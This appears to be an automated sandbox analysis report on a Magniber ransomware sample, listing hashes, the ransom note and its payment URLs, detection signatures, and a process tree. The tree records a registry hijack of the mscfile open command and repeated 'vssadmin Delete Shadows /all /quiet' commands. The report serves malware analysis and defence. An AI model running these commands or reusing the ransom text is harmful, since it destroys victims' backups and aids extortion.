magniber | 9f72ed1dc20575f4e19a75256a0df8871561008ce1387e12d932598c21a5b16f

Analysis

max time kernel
108s
max time network
188s
platform
windows7_x64
resource
win7v20210408
submitted
22-06-2021 15:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7.exe
Size

21KB
MD5

555aee36e8e1c0e684e658b9ef65bc83
SHA1

f8afbddf6e6ab23f914f961b2eedc51f8b78fabd
SHA256

9f72ed1dc20575f4e19a75256a0df8871561008ce1387e12d932598c21a5b16f
SHA512

b65578a6c9ed2d9262776a73ebb230aa3deeb7e4aa829add17024609261c58dd9e941d6ebde5a6dcac824b56df8d7dccce4938d498069800cc63f14a05513b52

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://f014ace070784a70eedezwvaw.ndkeblzjnpqgpo5o.onion/dezwvaw Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://f014ace070784a70eedezwvaw.lognear.xyz/dezwvaw http://f014ace070784a70eedezwvaw.wonride.site/dezwvaw http://f014ace070784a70eedezwvaw.lieedge.casa/dezwvaw http://f014ace070784a70eedezwvaw.bejoin.space/dezwvaw Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://f014ace070784a70eedezwvaw.ndkeblzjnpqgpo5o.onion/dezwvaw

http://f014ace070784a70eedezwvaw.lognear.xyz/dezwvaw

http://f014ace070784a70eedezwvaw.wonride.site/dezwvaw

http://f014ace070784a70eedezwvaw.lieedge.casa/dezwvaw

http://f014ace070784a70eedezwvaw.bejoin.space/dezwvaw

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 8 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1240	1712	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1168	1712	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1696	1712	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1068	1712	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2260	1712	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2348	1712	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2372	1712	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2432	1712	vssadmin.exe	47

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 15 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

taskhost.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\AssertPush.png => C:\Users\Admin\Pictures\AssertPush.png.dezwvaw	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\BackupEdit.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\DisableSuspend.tif => C:\Users\Admin\Pictures\DisableSuspend.tif.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\StartUse.tif => C:\Users\Admin\Pictures\StartUse.tif.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\CheckpointRestart.crw => C:\Users\Admin\Pictures\CheckpointRestart.crw.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\CloseUnblock.raw => C:\Users\Admin\Pictures\CloseUnblock.raw.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\FindDebug.crw => C:\Users\Admin\Pictures\FindDebug.crw.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\InstallStop.crw => C:\Users\Admin\Pictures\InstallStop.crw.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ExpandSuspend.crw => C:\Users\Admin\Pictures\ExpandSuspend.crw.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UseFind.raw => C:\Users\Admin\Pictures\UseFind.raw.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\BackupEdit.tiff => C:\Users\Admin\Pictures\BackupEdit.tiff.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\CompleteRemove.tif => C:\Users\Admin\Pictures\CompleteRemove.tif.dezwvaw	taskhost.exe
File renamed	C:\Users\Admin\Pictures\EnterRevoke.crw => C:\Users\Admin\Pictures\EnterRevoke.crw.dezwvaw	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\SubmitSuspend.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\SubmitSuspend.tiff => C:\Users\Admin\Pictures\SubmitSuspend.tiff.dezwvaw	taskhost.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

7.exe

description	pid	Process	procid_target
PID 1240 set thread context of 1120	1240	7.exe	16
PID 1240 set thread context of 1172	1240	7.exe	15
PID 1240 set thread context of 1196	1240	7.exe	12
PID 1240 set thread context of 1528	1240	7.exe	14

Interacts with shadow copies 2 TTPs 4 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
2260	vssadmin.exe
2348	vssadmin.exe
2372	vssadmin.exe
2432	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 600640b08b67d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e45000000000020000000000106600000001000020000000e7f99b868953367ae7b509e11fa6165d277aff13741b49ad384985f04cda0a2d000000000e80000000020000200000006693b99a7ca23a85707294321663a4a491776d561bd6e36f0ae2c7fff77d2199900000004aebd24d80e994f82fe724dad71a93a44ee53c97ceaa1de84ee1f8908dff92801206d575c9f8986a3565584c520c44cd33b9ad0053a3d90fd5d97e8bbf5e61e25aa418004f5ec0c0d218986227687d3a3c45552e8d09ab42be1e94ea5cb5df6a5b6b10fc02384004048abe0673cafd5d0336d9c6a2946a3b92d18e995c67440a3172066092754beb0d987d4a07eccdbd40000000e7f3576afbc2cee066e5dc89e2c2368ab7b7d92561ecbf09749d31bc38ad5e522da009910a3a5f20ffb948876af131ccb7db73da8735cef32ea2997376332c64	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331147707"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D3E609E1-D37E-11EB-AC20-62C8A5B8B9AA} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000529101d5c9814b4eb0f580b37542e45000000000020000000000106600000001000020000000db6cd3c50557d425888f70a462dc5f856729c6d2aa1c29480eb250ac2fe75fb7000000000e80000000020000200000003b962c646c28fe865cf8802ff2670c9e40c99a5622ba58b8b0c56801afa151d8200000001305b9c4b387b9c3abb65cbceaac026e887d6126c22302ef45cc6bae5179e27b40000000c19b17dcf49476258fc5af76abed0db3de4c83a5af59bc028c8f6292ab00446c06de6605ded940bf9318c6aefc7ae28ce0caf35b3cf059f72ac408dad98a76a2	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe

Modifies registry class 11 IoCs

Processes:

Explorer.EXEtaskhost.exeDwm.exeafkys6.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	afkys6.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000_CLASSES\mscfile\shell\open\command	afkys6.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
1716	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

7.exe

pid	Process
1240	7.exe
1240	7.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

7.exe

pid	Process
1240	7.exe
1240	7.exe
1240	7.exe
1240	7.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

WMIC.exeExplorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1016	WMIC.exe
Token: SeSecurityPrivilege	1016	WMIC.exe
Token: SeTakeOwnershipPrivilege	1016	WMIC.exe
Token: SeLoadDriverPrivilege	1016	WMIC.exe
Token: SeSystemProfilePrivilege	1016	WMIC.exe
Token: SeSystemtimePrivilege	1016	WMIC.exe
Token: SeProfSingleProcessPrivilege	1016	WMIC.exe
Token: SeIncBasePriorityPrivilege	1016	WMIC.exe
Token: SeCreatePagefilePrivilege	1016	WMIC.exe
Token: SeBackupPrivilege	1016	WMIC.exe
Token: SeRestorePrivilege	1016	WMIC.exe
Token: SeShutdownPrivilege	1016	WMIC.exe
Token: SeDebugPrivilege	1016	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1016	WMIC.exe
Token: SeRemoteShutdownPrivilege	1016	WMIC.exe
Token: SeUndockPrivilege	1016	WMIC.exe
Token: SeManageVolumePrivilege	1016	WMIC.exe
Token: 33	1016	WMIC.exe
Token: 34	1016	WMIC.exe
Token: 35	1016	WMIC.exe
Token: SeShutdownPrivilege	1196	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	552	WMIC.exe
Token: SeSecurityPrivilege	552	WMIC.exe
Token: SeTakeOwnershipPrivilege	552	WMIC.exe
Token: SeLoadDriverPrivilege	552	WMIC.exe
Token: SeSystemProfilePrivilege	552	WMIC.exe
Token: SeSystemtimePrivilege	552	WMIC.exe
Token: SeProfSingleProcessPrivilege	552	WMIC.exe
Token: SeIncBasePriorityPrivilege	552	WMIC.exe
Token: SeCreatePagefilePrivilege	552	WMIC.exe
Token: SeBackupPrivilege	552	WMIC.exe
Token: SeRestorePrivilege	552	WMIC.exe
Token: SeShutdownPrivilege	552	WMIC.exe
Token: SeDebugPrivilege	552	WMIC.exe
Token: SeSystemEnvironmentPrivilege	552	WMIC.exe
Token: SeRemoteShutdownPrivilege	552	WMIC.exe
Token: SeUndockPrivilege	552	WMIC.exe
Token: SeManageVolumePrivilege	552	WMIC.exe
Token: 33	552	WMIC.exe
Token: 34	552	WMIC.exe
Token: 35	552	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1500	WMIC.exe
Token: SeSecurityPrivilege	1500	WMIC.exe
Token: SeTakeOwnershipPrivilege	1500	WMIC.exe
Token: SeLoadDriverPrivilege	1500	WMIC.exe
Token: SeSystemProfilePrivilege	1500	WMIC.exe
Token: SeSystemtimePrivilege	1500	WMIC.exe
Token: SeProfSingleProcessPrivilege	1500	WMIC.exe
Token: SeIncBasePriorityPrivilege	1500	WMIC.exe
Token: SeCreatePagefilePrivilege	1500	WMIC.exe
Token: SeBackupPrivilege	1500	WMIC.exe
Token: SeRestorePrivilege	1500	WMIC.exe
Token: SeShutdownPrivilege	1500	WMIC.exe
Token: SeDebugPrivilege	1500	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1500	WMIC.exe
Token: SeRemoteShutdownPrivilege	1500	WMIC.exe
Token: SeUndockPrivilege	1500	WMIC.exe
Token: SeManageVolumePrivilege	1500	WMIC.exe
Token: 33	1500	WMIC.exe
Token: 34	1500	WMIC.exe
Token: 35	1500	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1332	WMIC.exe
Token: SeSecurityPrivilege	1332	WMIC.exe
Token: SeTakeOwnershipPrivilege	1332	WMIC.exe

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

Explorer.EXEiexplore.exe

pid	Process
1196	Explorer.EXE
1648	iexplore.exe
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

Suspicious use of SendNotifyMessage 6 IoCs

Processes:

Explorer.EXE

pid	Process
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE
1196	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
1648	iexplore.exe
1648	iexplore.exe
608	IEXPLORE.EXE
608	IEXPLORE.EXE
608	IEXPLORE.EXE
608	IEXPLORE.EXE

Suspicious use of UnmapMainImage 1 IoCs

Processes:

afkys6.exe

pid	Process
1528	afkys6.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

taskhost.exeDwm.execmd.execmd.execmd.exeafkys6.execmd.exeExplorer.EXEcmd.execmd.execmd.execmd.execmd.exeiexplore.exeCompMgmtLauncher.exeCompMgmtLauncher.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	Process	procid_target
PID 1120 wrote to memory of 1716	1120	taskhost.exe	26
PID 1120 wrote to memory of 1716	1120	taskhost.exe	26
PID 1120 wrote to memory of 1716	1120	taskhost.exe	26
PID 1120 wrote to memory of 1684	1120	taskhost.exe	27
PID 1120 wrote to memory of 1684	1120	taskhost.exe	27
PID 1120 wrote to memory of 1684	1120	taskhost.exe	27
PID 1120 wrote to memory of 1680	1120	taskhost.exe	28
PID 1120 wrote to memory of 1680	1120	taskhost.exe	28
PID 1120 wrote to memory of 1680	1120	taskhost.exe	28
PID 1172 wrote to memory of 1848	1172	Dwm.exe	32
PID 1172 wrote to memory of 1848	1172	Dwm.exe	32
PID 1172 wrote to memory of 1848	1172	Dwm.exe	32
PID 1680 wrote to memory of 1016	1680	cmd.exe	33
PID 1680 wrote to memory of 1016	1680	cmd.exe	33
PID 1680 wrote to memory of 1016	1680	cmd.exe	33
PID 1684 wrote to memory of 1648	1684	cmd.exe	35
PID 1684 wrote to memory of 1648	1684	cmd.exe	35
PID 1684 wrote to memory of 1648	1684	cmd.exe	35
PID 1848 wrote to memory of 552	1848	cmd.exe	36
PID 1848 wrote to memory of 552	1848	cmd.exe	36
PID 1848 wrote to memory of 552	1848	cmd.exe	36
PID 1528 wrote to memory of 892	1528	afkys6.exe	37
PID 1528 wrote to memory of 892	1528	afkys6.exe	37
PID 1528 wrote to memory of 892	1528	afkys6.exe	37
PID 892 wrote to memory of 1332	892	cmd.exe	40
PID 892 wrote to memory of 1332	892	cmd.exe	40
PID 892 wrote to memory of 1332	892	cmd.exe	40
PID 1196 wrote to memory of 1652	1196	Explorer.EXE	39
PID 1196 wrote to memory of 1652	1196	Explorer.EXE	39
PID 1196 wrote to memory of 1652	1196	Explorer.EXE	39
PID 1652 wrote to memory of 1500	1652	cmd.exe	42
PID 1652 wrote to memory of 1500	1652	cmd.exe	42
PID 1652 wrote to memory of 1500	1652	cmd.exe	42
PID 1168 wrote to memory of 1624	1168	cmd.exe	56
PID 1168 wrote to memory of 1624	1168	cmd.exe	56
PID 1168 wrote to memory of 1624	1168	cmd.exe	56
PID 1696 wrote to memory of 1872	1696	cmd.exe	57
PID 1696 wrote to memory of 1872	1696	cmd.exe	57
PID 1696 wrote to memory of 1872	1696	cmd.exe	57
PID 1068 wrote to memory of 1644	1068	cmd.exe	58
PID 1068 wrote to memory of 1644	1068	cmd.exe	58
PID 1068 wrote to memory of 1644	1068	cmd.exe	58
PID 1240 wrote to memory of 800	1240	cmd.exe	59
PID 1240 wrote to memory of 800	1240	cmd.exe	59
PID 1240 wrote to memory of 800	1240	cmd.exe	59
PID 1648 wrote to memory of 608	1648	iexplore.exe	60
PID 1648 wrote to memory of 608	1648	iexplore.exe	60
PID 1648 wrote to memory of 608	1648	iexplore.exe	60
PID 1648 wrote to memory of 608	1648	iexplore.exe	60
PID 1624 wrote to memory of 2056	1624	CompMgmtLauncher.exe	63
PID 1624 wrote to memory of 2056	1624	CompMgmtLauncher.exe	63
PID 1624 wrote to memory of 2056	1624	CompMgmtLauncher.exe	63
PID 800 wrote to memory of 2064	800	CompMgmtLauncher.exe	62
PID 800 wrote to memory of 2064	800	CompMgmtLauncher.exe	62
PID 800 wrote to memory of 2064	800	CompMgmtLauncher.exe	62
PID 1872 wrote to memory of 2072	1872	CompMgmtLauncher.exe	61
PID 1872 wrote to memory of 2072	1872	CompMgmtLauncher.exe	61
PID 1872 wrote to memory of 2072	1872	CompMgmtLauncher.exe	61
PID 1644 wrote to memory of 2084	1644	CompMgmtLauncher.exe	64
PID 1644 wrote to memory of 2084	1644	CompMgmtLauncher.exe	64
PID 1644 wrote to memory of 2084	1644	CompMgmtLauncher.exe	64

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1196
- C:\Windows\System32\afkys6.exe
  "C:\Windows\System32\afkys6.exe"
  2⤵
  - Modifies registry class
  - Suspicious use of UnmapMainImage
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\System32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:892
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1332
- C:\Users\Admin\AppData\Local\Temp\7.exe
  "C:\Users\Admin\AppData\Local\Temp\7.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:1240
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1500

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1172
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1848
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:552

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1120
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:1716
- C:\Windows\system32\cmd.exe
  cmd /c "start http://f014ace070784a70eedezwvaw.lognear.xyz/dezwvaw^&1^&50723516^&86^&381^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1684
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://f014ace070784a70eedezwvaw.lognear.xyz/dezwvaw&1&50723516&86&381&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1648 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:608
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1680
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1016

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:800
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2064

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1168
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2056

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1696
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1872
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2072

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1068
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2084

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2260

C:\Windows\system32\vssvc.exe
